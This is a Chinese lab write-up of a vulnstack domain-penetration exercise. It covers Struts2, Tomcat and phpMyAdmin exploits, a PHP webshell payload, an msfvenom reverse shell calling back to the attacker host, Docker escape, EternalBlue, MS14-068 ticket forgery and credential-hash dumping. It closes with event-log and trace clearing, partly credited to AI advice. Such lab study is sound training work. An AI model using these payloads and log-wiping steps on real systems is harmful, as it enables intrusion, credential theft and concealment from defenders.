靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

环境搭建

机器密码:

密码过期

分别输入原密码:Test2008

新密码:Test2026

即可完成更改

网络拓扑:

VMware 网络配置:

VMnet1: 192.168.157.0 桥接模式

VMnet2: 192.168.183.0 桥接模式

web(Ubuntu):

外网 IP:192.168.157.128

内网 IP:192.168.183.128

添加 VMnet1、VMnet2 俩块网卡

Win7:

内网 IP:192.168.183.129

添加 VMnet2

DC:

内网 IP:192.168.183.130

添加 VMnet2

kali:(作为攻击机)

外网 IP:192.168.157.129

添加 VMnet1

docker 环境

进入 ubuntu 启动 web:

信息收集:

扫描端口:

nmap -Pn 192.168.157.128

发现三个端口

依次访问各个端口:

2001-Struts2:

Apache Struts

https://struts.apache.org/

基于 Java、遵循 MVC 模式、稳定且灵活的开发框架,它通过简化“控制器”和“视图”之间的连接,让开发者能够更高效地构建可维护的企业级动态网页应用

Apache Struts 就是一个 Java web 网页应用开发框架

目前主流是 Struts2

用工具扫一下看看有没有漏洞:

存在 S2-045 和 S2-046

漏洞原理参考:

【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析

【漏洞分析】Struts2 S2-046 漏洞原理分析

2002-Tomcat/8.5.19

漏洞探测

得知了 tomcat 版本,可以搜索看看此版本有哪些漏洞

这里看其他师傅的文章知道了可以在 kali 中进行搜索相关漏洞:

searchsploit tomcat 8.5.19

复制对应的 poc 文件:

searchsploit -m /exploit/jsp/webapps/42966.py

使用 poc 检测是否存在漏洞:

python 42966.py -u [http://192.168.157.128:2002/](http://192.168.157.128:2002/)

该 poc 上传了一个 Poc.jsp 文件

访问路径:http://192.168.157.128:2002/Poc.jsp 成功上传了 jsp 文件

所以这里存在漏洞 CVE-2017-12617

漏洞利用

python 42966.py -u [http://192.168.157.128:2002/](http://192.168.157.128:2002/) -p pwn

elif opt.P!=None and opt.U!=None and opt.L==None:

print (bcolors.OKGREEN+banner+bcolors.ENDC)

pwn=str(opt.P)          # 获取输入的 "pwn" 字符串

url=str(opt.U)

print ("Uploading Webshell .....")

pwn=pwn+".jsp"          # 在末尾加上 .jsp,变成 "pwn.jsp"

RCE(str(url)+"/",pwn)    # 调用 RCE 函数上传真正的木马文件

shell(str(url),pwn)      # 进入交互式 Shell 模式

生成linux的木马,在kali本地起一个http服务方便靶机下载

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.129 LPORT=4444 -f elf > shell.elf

开启 http 服务方便下载木马:

python -m http.server 8000

在-p pwn反弹的命令行,下载shell.elf并赋权执行

同时也用 msf 接收会话:

2003-phpmyadmin 4.8.1

对应版本的漏洞是 CVE-2018-12613

https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2018-12613/README.zh-cn.md

poc: ?target=db_sql.php%253f/../../../../../../../../etc/passwd

新建一张表, 写入<?php phpinfo();?>

原理:
Http 协议是一种无状态协议,即每次服务端接收到客户端的请求时,都是一个全新的请求,服务器并不知道客户端的历史请求记录;

**Session 的主要目的就是为了弥补 Http 的无状态特性。简单的说,就是服务器可以利用 session 存储客户端在同一个会话期间的一些操作记录;

** 因此这里相对应的 sql 的查询历史也会出现在 session 中,若是一句话木马出现在 session 中,那么就可以使用远程文件包含取得 shell 了。

session 常见的一些保存路径

/var/lib/php/sess_PHPSESSID

/var/lib/php/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

session 文件的存储路径是分为两种情况的

一是没有权限,默认存储在 /var/lib/php/sessions/ 目录下,文件名为 sess_[phpsessid],而 phpsessid 在发送的请求的 cookie 字段中可以看到(一般在利用漏洞时我们自己设置 phpsessid)

二是 phpmyadmin,这时的 session 文件存储在 /tmp 目录下,需要在 php.ini 里把 session.auto_start 置为 1,把 session.save_path 目录设置为 /tmp

直接执行 SELECT "<?php phpinfo();?>"
可以看到确实被保存到了 sess_sessid 中去了。 Pasted image 20221006233022.png Pasted image 20221006233046.png

得到 phpMyAdmin 的值:5b72d8a8c59d4b8df7268f33858f6de5

然后构造payload进行文件包含输出phpinfo

?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_5b72d8a8c59d4b8df7268f33858f6de5

之后写入一句话木马使用蚁剑连接:

http://192.168.157.128:2003/?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_5b72d8a8c59d4b8df7268f33858f6de5

?target=tbl_zoom_select.php?/../../../../../../tmp/sess_e7bec897077c4a99f9e6e5da0bed67b5&cmd=file_put_contents("/var/www/html/shell.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=="));

这个端口后续尝试了几种不同的方法,但是始终写不进去文件,蚁剑也连接不上。

Docker 逃逸

理论上,通过上面的三个端口都可以拿到 shell,

现在很明显进入了一个 docker 容器中,看不到其他的

privileged特权模式逃逸

docker中提供了一个--privileged参数,这个参数本身最初的目的是为了提供在docker中运行docker的能力
https://www.docker.com/blog/docker-can-now-run-within-docker/

docker文档中对这个参数的解释如下
https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities

当操作员执行时docker run –privileged,Docker将启用对主机上所有设备的访问,并在AppArmor或SELinux中进行一些配置,以允许容器对主机的访问几乎与在主机上容器外部运行的进程相同。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。那么这里就可以尝试使用特权模式写入ssh私钥,使用ssh免密登录

利用 fdisk -l 查看挂载盘:

有一块 sda 物理硬盘,10GB

使用了传统的 MBR(dos)分区格式。

sda1: 主分区,Boot 带有 * 说明这是启动分区,

sda2: 扩展分区,里面可以包含多个逻辑分区

sda5: 逻辑分区,在这里作为 swap (交换分区)

sda1 是宿主机的物理分区,所以可以尝试将 sda1 挂载到当前的目录,如果可以成功挂载,那么就可以修改宿主机的某些文件来尝试逃逸了。

mkdir shell

mount /dev/sda1 shell

挂载成功,这样就可以去查看、修改宿主机的文件了

写入 ssh 密钥进行 docker 逃逸:

在 kali 中生成密钥,创建一个 key 文件

然后将密钥复制

写入目标的 .ssh 目录下:

ssh 连接宿主机: ssh -i hack ubuntu@192.168.157.128 # -i 参数代表 Identity File(身份文件),即私钥

这样就可以免密码进入了:

Ubuntu 上线 msf

还是之前的方法,kali 上生成一个 shell.elf 文件,并且开启 http 服务

通过之前 docker 逃逸获取的 Ubuntu shell,下载文件、添加权限、执行文件

同时 kali 开启 msf,设置 payload 等

存活探测

找到存活主机,其中 132 是 ubuntu,另外俩个就是内网主机了

探测端口:

或者可以直接探测常见端口:

永恒之蓝:

俩个机器都存在永恒之蓝,先打 129 的 win7

进程迁移

永恒之蓝攻击生成的进程(通常是随机名)不够稳定,容易崩溃或被杀软拦截。迁移到 lsass.exe 或 services.exe 等系统服务进程中,既能隐藏自己,又能保证权限持久稳定。

进入 Shell 并切换编码

为了防止在查看中文域信息时出现乱码,先执行以下命令

确定当前是在 DEMO 这个域中,

回到最高权限,尝试获取密码:

明文密码:

douser DEMO Dotest123

横向移动

使用 psexec 并没有成功

获取关键信息 (SID)

现在的身份是 **nt authority\system**,所以拿到的 SID 是 **S-1-5-18**。

但是,MS14-068 提权必须使用“普通域用户”的 SID 才能伪造出一张包含域管权限的票据。用系统账户(SYSTEM)的 SID 是做不出这种票据的。

切换到 douser 获取 SID

我们需要获取之前在进程列表里看到的那个域用户 **douser** 的 SID。

获取真正的用户 SID S-1-5-21-979886063-1111900045-1414766810-1107

这里靶机作者已经将需要的文件上传到靶机了,所以直接利用就好

清理旧票据 TGT_douser@demo.com.ccache

生成新票据 :

使用 Mimikatz 注入内存

确认票据已注入

问题 1

打到一半发现 win7 死活连接不上了,执行一个简单命令就会崩溃。以下换用 130 的机器

?

最后把所有机器包括物理机都重启了一遍,就好了

问题 2

看了很多师傅的文章,凭据类的我都用不了,不知道为什么

AI 之力:

1. 为什么“永恒之蓝”也是横向移动?

横向移动分为两大流派:

  • 凭据类横向(Credential-based): 使用你拿到的账号、密码、哈希、票据(如 psexec、WMI、MS14-068)。这是你刚才一直在练习的。
  • 漏洞类横向(Exploit-based): 既然你在 A 机器(Win7)上发现了 B 机器(域控)的存在,并且探测到它有系统级漏洞(MS17-010),那么你从 A 发起对 B 的漏洞攻击,这就是典型的基于漏洞的横向移动。

2. 为什么你之前的“凭据类”失败了?

横向移动最难的地方在于权限匹配。

  • 你的 douser 账号有密码,但他在域控上没有本地管理员权限。
  • 这就好比你偷到了邻居家的钥匙,但你发现那是他家自行车的钥匙,开不了他家大门。
  • 这种情况下,你要么去偷“大门钥匙”(找域管账号),要么直接“翻窗进去”(利用漏洞)。

3. 我们现在的战术路径:

你目前的练习流程是这样的:

  1. 起点:拿到 Web 服务器(Ubuntu)。
  2. 纵向渗透:进入内网 Win7。
  3. 内网搜集:拿到 douser 密码,发现域控 130。
  4. 横向尝试 A(失败):尝试用 douser 的凭据直接登录域控(因为权限不够)。
  5. 横向尝试 B(成功率最高):既然拿到了 Win7 这个跳板,直接从跳板机发起漏洞攻击(永恒之蓝)直达域控。

重新开始横向移动:

首先用永恒之蓝连接 win7

SYSTEM 权限可以读取操作系统最核心的 LSA 内存。我们要看看除了 douser,还有没有别的(比如域管理员)

从内存抓取的结果来看,这台 Win7 上目前**只有 ****douser** 这一个凭据,没有域管理员(Administrator)登录过的痕迹。

不过,我们拿到了一个非常关键的东西:**douser**** 的准确 SID**:S-1-5-21-979886063-1111900045-1414766810-1107

我们要利用这个 SID 重新执行 MS14-068

进入 shell,并清理环境

生成伪造票据

注入票据

尝试访问域控

成功绕过了域控的权限校验。虽然登录的账号是 douser,但域控(130)现在认为我是域管理员

拿下域控的 Meterpreter Shell。

上传木马到域控

远程创建并启动服务

虽然提示了 **FAILED 1053**(服务响应超时),但这在内网渗透中其实是极其常见且成功的信号!

为什么会报 1053?

因为你生成的 bind.exe 通常是一个普通的 Meterpreter Payload,而不是一个遵循 Windows 服务规范的 Service Executable。

  • 过程:Windows 启动了你的 bind.exe。
  • 结果:bind.exe 已经在后台跑起来了(Payload 已激活),但它没有给 Windows 服务管理器(SCM)返回“我已成功启动”的回执。
  • 后果:Windows 等了 30 秒没等到回执,就报错超时了,但 木马其实已经在内存里运行了。

在此之前还要将防火墙关闭:

Administrator (500): 68fa0147af8369f611458bf34342c42a。这是域控本地管理员的 NTLM Hash。

krbtgt (502): 7c4ed692473d4b4344c3ba01c5e6cb63。这是域内最核心的账户。有了它的 Hash,可以伪造黄金票据 (Golden Ticket),这意味着即便域控管理员修改了所有人的密码,只要不连续重置两次 krbtgt 的密码,都能永远拥有域管权限。

douser: 在 Global Group memberships 里已经是 *Domain Admins ,这意味着我们刚才的 sc create 操作已经成功修改了域数据库。

另一种:

痕迹清理

1. 远程服务清理(域控 130)

你之前通过 sc 命令在域控上创建了多个服务(BackdoorService, unablefirewall, addadmin, adddomainadmin, checkfw, openrdp, stopfw, killold)。这些在系统日志里非常显眼,必须删除。

在 Win7 的 SYSTEM Shell 中执行:


2. 计划任务清理(域控 130)

你创建了 FinalStrike 和 MyShell 计划任务。

在 Win7 的 SYSTEM Shell 中执行:

DOS


3. 落地文件清理(两台机器)

清理所有上传的工具、生成的票据和日志文件。

清理域控 (130) 上的文件:

DOS

清理 Win7 (129) 桌面和系统目录:(当然这个靶机不必清理,因为是作者帮我们上传的文件)


4. 账户权限还原(域环境)

你在实验中把 douser 变成了域管,这在审计中是一眼就能看出来的。如果不需要持久化,请务必还原。

在 Win7 的 SYSTEM Shell 中执行:

DOS


5. 系统日志清理(最核心的一步)

Windows 会记录服务创建(ID 7045)、登录成功(ID 4624)等事件。

利用 Mimikatz (Kiwi) 一键清理: 在 Meterpreter 会话中(Session 3):

6. 内存票据清理

退出前清理掉注入到系统进程里的伪造票据。

在 Win7 的 Shell 中:

DOS